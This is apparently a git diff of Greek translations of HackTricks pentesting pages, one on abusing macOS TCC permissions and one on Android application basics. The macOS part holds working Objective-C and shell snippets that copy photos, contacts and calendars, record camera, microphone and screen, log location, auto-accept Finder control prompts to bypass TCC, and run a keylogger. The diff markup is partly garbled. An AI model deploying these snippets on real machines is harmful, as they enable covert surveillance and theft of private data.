|
#include <stdio.h>
|
||||||
|
@ -147,8 +162,11 @@ NSLog(@"Copy completed successfully.", error);
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Αντιγράψτε το `$HOME/Λήψεις` στο `/tmp/λήψεις`.
|
Αντιγράψτε το `$HOME/Λήψεις` στο `/tmp/λήψεις`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||||
```
|
```
|
||||||
|
@ -161,8 +179,11 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||||
* **TCC**: `kTCCServicePhotos`
|
* **TCC**: `kTCCServicePhotos`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="undefined" %}
|
||||||
Αντιγράψτε το `$HOME/Pictures/Photos Library.photoslibrary` στο `/tmp/photos`.
|
Αντιγράψτε το `$HOME/Pictures/Photos Library.photoslibrary` στο `/tmp/photos`.
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -194,8 +215,11 @@ NSLog(@"Copy completed successfully.", error);
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Αντιγράψτε το `$HOME/Pictures/Photos Library.photoslibrary` στο `/tmp/photos`.
|
Αντιγράψτε το `$HOME/Pictures/Photos Library.photoslibrary` στο `/tmp/photos`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||||
```
|
```
|
||||||
|
@ -208,8 +232,11 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||||
* **TCC**: `kTCCServiceAddressBook`
|
* **TCC**: `kTCCServiceAddressBook`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="undefined" %}
|
||||||
Αντιγράψτε το `$HOME/Library/Application Support/AddressBook` στο `/tmp/contacts`.
|
Αντιγράψτε το `$HOME/Library/Application Support/AddressBook` στο `/tmp/contacts`.
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -241,8 +268,11 @@ NSLog(@"Copy completed successfully.", error);
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Αντιγράψτε το `$HOME/Library/Application Support/AddressBook` στο `/tmp/contacts`.
|
Αντιγράψτε το `$HOME/Library/Application Support/AddressBook` στο `/tmp/contacts`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||||
```
|
```
|
||||||
|
@ -254,9 +284,8 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||||
* **Δικαίωμα**: `com.apple.security.personal-information.calendars`
|
* **Δικαίωμα**: `com.apple.security.personal-information.calendars`
|
||||||
* **TCC**: `kTCCServiceCalendar`
|
* **TCC**: `kTCCServiceCalendar`
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="ObjectiveC" %}
|
|
||||||
Αντιγράψτε το `$HOME/Library/Calendars` στο `/tmp/calendars`.
|
Αντιγράψτε το `$HOME/Library/Calendars` στο `/tmp/calendars`.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -288,14 +317,19 @@ NSLog(@"Copy completed successfully.", error);
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="Shell" %}
|
|
||||||
Αντιγράψτε το `$HOME/Library/Calendars` στο `/tmp/calendars`.
|
Αντιγράψτε το `$HOME/Library/Calendars` στο `/tmp/calendars`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
||||||
```
|
```
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC - Εγγραφή" %}
|
{% tab title="undefined" %}
|
||||||
Καταγράψτε ένα βίντεο διάρκειας 3 δευτερολέπτων και αποθηκεύστε το στο **`/tmp/recording.mov`**
|
Καταγράψτε ένα βίντεο διάρκειας 3 δευτερολέπτων και αποθηκεύστε το στο **`/tmp/recording.mov`**
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -371,8 +405,13 @@ VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="ObjectiveC - Έλεγχος" %}
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
Ελέγξτε εάν το πρόγραμμα έχει πρόσβαση στην κάμερα.
|
Ελέγξτε εάν το πρόγραμμα έχει πρόσβαση στην κάμερα.
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -402,8 +441,11 @@ freopen("/tmp/logs.txt", "a", stderr);
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Λήψη φωτογραφίας με την κάμερα
|
Λήψη φωτογραφίας με την κάμερα
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||||
```
|
```
|
||||||
|
@ -416,8 +458,11 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||||
* **TCC**: `kTCCServiceMicrophone`
|
* **TCC**: `kTCCServiceMicrophone`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC - Εγγραφή" %}
|
{% tab title="undefined" %}
|
||||||
Εγγράψτε 5 δευτερόλεπτα ήχου και αποθηκεύστε το στο `/tmp/recording.m4a`
|
Εγγράψτε 5 δευτερόλεπτα ήχου και αποθηκεύστε το στο `/tmp/recording.m4a`
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -514,8 +559,13 @@ AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="ObjectiveC - Έλεγχος" %}
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
Ελέγξτε εάν η εφαρμογή έχει πρόσβαση στο μικρόφωνο.
|
Ελέγξτε εάν η εφαρμογή έχει πρόσβαση στο μικρόφωνο.
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -543,8 +593,11 @@ static void telegram(int argc, const char **argv) {
|
||||||
[MicrophoneAccessChecker hasMicrophoneAccess];
|
[MicrophoneAccessChecker hasMicrophoneAccess];
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Καταγράψτε έναν ήχο διάρκειας 5 δευτερολέπτων και αποθηκεύστε τον στο `/tmp/recording.wav`
|
Καταγράψτε έναν ήχο διάρκειας 5 δευτερολέπτων και αποθηκεύστε τον στο `/tmp/recording.wav`
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Check the microphones
|
# Check the microphones
|
||||||
ffmpeg -f avfoundation -list_devices true -i ""
|
ffmpeg -f avfoundation -list_devices true -i ""
|
||||||
|
@ -564,8 +617,11 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
||||||
* **TCC**: Χορηγήθηκε στο `/var/db/locationd/clients.plist`
|
* **TCC**: Χορηγήθηκε στο `/var/db/locationd/clients.plist`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjectiveC" %}
|
{% tab title="undefined" %}
|
||||||
Γράψτε την τοποθεσία στο `/tmp/logs.txt`
|
Γράψτε την τοποθεσία στο `/tmp/logs.txt`
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -612,14 +668,25 @@ NSLog(@"Location completed successfully.");
|
||||||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="Shell" %}
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
Αποκτήστε πρόσβαση στην τοποθεσία
|
Αποκτήστε πρόσβαση στην τοποθεσία
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```
|
```
|
||||||
???
|
???
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjectiveC" %}
|
{% tab title="undefined" %}
|
||||||
Καταγράψτε την κύρια οθόνη για 5 δευτερόλεπτα στο `/tmp/screen.mov`
|
Καταγράψτε την κύρια οθόνη για 5 δευτερόλεπτα στο `/tmp/screen.mov`
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -673,20 +740,32 @@ CFRunLoopRun();
|
||||||
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Καταγράψτε την κύρια οθόνη για 5 δευτερόλεπτα
|
Καταγράψτε την κύρια οθόνη για 5 δευτερόλεπτα
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
screencapture -V 5 /tmp/screen.mov
|
screencapture -V 5 /tmp/screen.mov
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
### Προσβασιμότητα
|
{% tab title="undefined" %}
|
||||||
|
#### Προσβασιμότητα
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
* **Προνόμιο**: Κανένα
|
* **Προνόμιο**: Κανένα
|
||||||
* **TCC**: `kTCCServiceAccessibility`
|
* **TCC**: `kTCCServiceAccessibility`
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
Χρησιμοποιήστε το προνόμιο TCC για να αποδεχθείτε τον έλεγχο του Finder πατώντας το πλήκτρο enter και να παρακάμψετε έτσι το TCC.
|
Χρησιμοποιήστε το προνόμιο TCC για να αποδεχθείτε τον έλεγχο του Finder πατώντας το πλήκτρο enter και να παρακάμψετε έτσι το TCC.
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <ApplicationServices/ApplicationServices.h>
|
#import <ApplicationServices/ApplicationServices.h>
|
||||||
|
@ -737,8 +816,11 @@ usleep(100000); // 0.1 seconds
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Keylogger" %}
|
{% tab title="Keylogger" %}
|
||||||
Αποθηκεύστε τα πατημένα πλήκτρα στο **`/tmp/keystrokes.txt`**
|
Αποθηκεύστε τα πατημένα πλήκτρα στο **`/tmp/keystrokes.txt`**
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <ApplicationServices/ApplicationServices.h>
|
#import <ApplicationServices/ApplicationServices.h>
|
||||||
|
@ -858,7 +940,7 @@ return 0;
|
||||||
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Βασικά Εφαρμογών Android
|
# Android Applications Basics
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,14 +9,14 @@
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του **HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του **HackTricks**]\(https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Ομάδα Ασφαλείας Try Hard**
|
**Ομάδα Ασφαλείας Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -70,6 +70,7 @@
|
||||||
## Rooting
|
## Rooting
|
||||||
|
|
||||||
Για να αποκτήσετε ριζική πρόσβαση σε μια φυσική συσκευή Android, γενικά χρειάζεται να **εκμεταλλευτείτε** 1 ή 2 **ευπάθειες**
|
Για να αποκτήσετε ριζική πρόσβαση σε μια φυσική συσκευή Android, γενικά χρειάζεται να **εκμεταλλευτείτε** 1 ή 2 **ευπάθειες**
|
||||||
|
|
||||||
### **Dalvik & Smali**
|
### **Dalvik & Smali**
|
||||||
|
|
||||||
Στην ανάπτυξη Android, χρησιμοποιείται **Java ή Kotlin** για τη δημιουργία εφαρμογών. Αντί να χρησιμοποιεί το JVM όπως στις εφαρμογές επιφάνειας εργασίας, το Android μεταγλωττίζει αυτόν τον κώδικα σε **Dalvik Executable (DEX) bytecode**. Παλαιότερα, η εικονική μηχανή Dalvik χειριζόταν αυτόν τον bytecode, αλλά τώρα, η Android Runtime (ART) αναλαμβάνει σε νεότερες εκδόσεις Android.
|
Στην ανάπτυξη Android, χρησιμοποιείται **Java ή Kotlin** για τη δημιουργία εφαρμογών. Αντί να χρησιμοποιεί το JVM όπως στις εφαρμογές επιφάνειας εργασίας, το Android μεταγλωττίζει αυτόν τον κώδικα σε **Dalvik Executable (DEX) bytecode**. Παλαιότερα, η εικονική μηχανή Dalvik χειριζόταν αυτόν τον bytecode, αλλά τώρα, η Android Runtime (ART) αναλαμβάνει σε νεότερες εκδόσεις Android.
|
||||||
|
@ -100,20 +101,25 @@
|
||||||
Ένα κρίσιμο στοιχείο των στοιχείων Android (δραστηριότητες/υπηρεσίες/παρόχοι περιεχομένου/δέκτες μετάδοσης) είναι η ορατότητά τους ή **δημόσια κατάσταση**. Ένα στοιχείο θεωρείται δημόσιο και μπορεί να αλληλεπιδρά με άλλες εφαρμογές εάν είναι **`εξαγόμενο`** με μια τιμή **`true`** ή αν έχει δηλωθεί ένα Intent Filter για αυτό στον κατάλογο. Ωστόσο, Ͽαρχει τρόπος για τους προγραμματιστές να κρατήσουν αυτά τα στοιχεία ιδιωτικά ρητά, εξασφαλίζοντας ότι δεν θα αλληλεπιδράσουν με άλλες εφαρμογές ακούσια. Αυτό επιτυγχάνεται με την ρύθμιση του χαρακτηριστικού **`εξαγόμενο`** σε **`false`** στις ορισμούς τους στον κατάλογο.
|
Ένα κρίσιμο στοιχείο των στοιχείων Android (δραστηριότητες/υπηρεσίες/παρόχοι περιεχομένου/δέκτες μετάδοσης) είναι η ορατότητά τους ή **δημόσια κατάσταση**. Ένα στοιχείο θεωρείται δημόσιο και μπορεί να αλληλεπιδρά με άλλες εφαρμογές εάν είναι **`εξαγόμενο`** με μια τιμή **`true`** ή αν έχει δηλωθεί ένα Intent Filter για αυτό στον κατάλογο. Ωστόσο, Ͽαρχει τρόπος για τους προγραμματιστές να κρατήσουν αυτά τα στοιχεία ιδιωτικά ρητά, εξασφαλίζοντας ότι δεν θα αλληλεπιδράσουν με άλλες εφαρμογές ακούσια. Αυτό επιτυγχάνεται με την ρύθμιση του χαρακτηριστικού **`εξαγόμενο`** σε **`false`** στις ορισμούς τους στον κατάλογο.
|
||||||
|
|
||||||
Επιπλέον, οι προγραμματιστές έχουν τη δυνατότητα να ασφαλίσουν περαιτέρω την πρόσβαση σε αυτά τα στοιχεία απαιτώντας συγκεκριμένες άδειες. Το χαρακτηριστικό **`άδεια`** μπορεί να οριστεί για να επιβάλει ότι μόνο οι εφαρμογές με την καθορισμένη άδεια μπορούν να έχουν πρόσβαση στο στοιχείο, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας και έλεγχο πάνω σε ποιος μπορεί να αλληλεπιδράσει με αυτό.
|
Επιπλέον, οι προγραμματιστές έχουν τη δυνατότητα να ασφαλίσουν περαιτέρω την πρόσβαση σε αυτά τα στοιχεία απαιτώντας συγκεκριμένες άδειες. Το χαρακτηριστικό **`άδεια`** μπορεί να οριστεί για να επιβάλει ότι μόνο οι εφαρμογές με την καθορισμένη άδεια μπορούν να έχουν πρόσβαση στο στοιχείο, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας και έλεγχο πάνω σε ποιος μπορεί να αλληλεπιδράσει με αυτό.
|
||||||
|
|
||||||
```java
|
```java
|
||||||
<activity android:name=".MyActivity" android:exported="false">
|
<activity android:name=".MyActivity" android:exported="false">
|
||||||
<!-- Intent filters go here -->
|
<!-- Intent filters go here -->
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Συμπεριληπτικές Προθέσεις
|
### Συμπεριληπτικές Προθέσεις
|
||||||
|
|
||||||
Οι προθέσεις δημιουργούνται προγραμματικά χρησιμοποιώντας έναν κατασκευαστή Πρόθεσης:
|
Οι προθέσεις δημιουργούνται προγραμματικά χρησιμοποιώντας έναν κατασκευαστή Πρόθεσης:
|
||||||
|
|
||||||
```java
|
```java
|
||||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||||
```
|
```
|
||||||
|
|
||||||
Η **Ενέργεια** της προηγουμένως δηλωμένης πρόθεσης είναι **ACTION\_SEND** και το **Επιπλέον** είναι ένα mailto **Uri** (το Επιπλέον είναι η επιπλέον πληροφορία που αναμένει η πρόθεση).
|
Η **Ενέργεια** της προηγουμένως δηλωμένης πρόθεσης είναι **ACTION\_SEND** και το **Επιπλέον** είναι ένα mailto **Uri** (το Επιπλέον είναι η επιπλέον πληροφορία που αναμένει η πρόθεση).
|
||||||
|
|
||||||
Αυτή η πρόθεση πρέπει να δηλωθεί μέσα στον manifest όπως στο παρακάτω παράδειγμα:
|
Αυτή η πρόθεση πρέπει να δηλωθεί μέσα στον manifest όπως στο παρακάτω παράδειγμα:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<activity android:name="ShareActivity">
|
<activity android:name="ShareActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -122,6 +128,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
|
|
||||||
Ένα intent-filter χρειάζεται να ταιριάζει την **action**, **data** και **category** για να λάβει ένα μήνυμα.
|
Ένα intent-filter χρειάζεται να ταιριάζει την **action**, **data** και **category** για να λάβει ένα μήνυμα.
|
||||||
|
|
||||||
Η διαδικασία "Intent resolution" καθορίζει ποια εφαρμογή θα πρέπει να λάβει κάθε μήνυμα. Αυτή η διαδικασία λαμβάνει υπόψη το **προτεραιότητας attribute**, το οποίο μπορεί να οριστεί στη δήλωση του **intent-filter**, και **επιλέγεται αυτό με τη μεγαλύτερη προτεραιότητα**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Αν προκύψει **σύγκρουση**, εμφανίζεται ένα παράθυρο "choser" ώστε ο **χρήστης να αποφασίσει**.
|
Η διαδικασία "Intent resolution" καθορίζει ποια εφαρμογή θα πρέπει να λάβει κάθε μήνυμα. Αυτή η διαδικασία λαμβάνει υπόψη το **προτεραιότητας attribute**, το οποίο μπορεί να οριστεί στη δήλωση του **intent-filter**, και **επιλέγεται αυτό με τη μεγαλύτερη προτεραιότητα**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Αν προκύψει **σύγκρουση**, εμφανίζεται ένα παράθυρο "choser" ώστε ο **χρήστης να αποφασίσει**.
|
||||||
|
@ -129,15 +136,19 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||||
### Σαφή Intents
|
### Σαφή Intents
|
||||||
|
|
||||||
Ένα σαφές intent καθορίζει το όνομα της κλάσης που στοχεύει:
|
Ένα σαφές intent καθορίζει το όνομα της κλάσης που στοχεύει:
|
||||||
|
|
||||||
```java
|
```java
|
||||||
Intent downloadIntent = new (this, DownloadService.class):
|
Intent downloadIntent = new (this, DownloadService.class):
|
||||||
```
|
```
|
||||||
|
|
||||||
Σε άλλες εφαρμογές για να έχετε πρόσβαση στο προηγουμένως δηλωμένο intent μπορείτε να χρησιμοποιήσετε:
|
Σε άλλες εφαρμογές για να έχετε πρόσβαση στο προηγουμένως δηλωμένο intent μπορείτε να χρησιμοποιήσετε:
|
||||||
|
|
||||||
```java
|
```java
|
||||||
Intent intent = new Intent();
|
Intent intent = new Intent();
|
||||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||||
context.startService(intent);
|
context.startService(intent);
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ενέργειες που εκκρεμούν
|
### Ενέργειες που εκκρεμούν
|
||||||
|
|
||||||
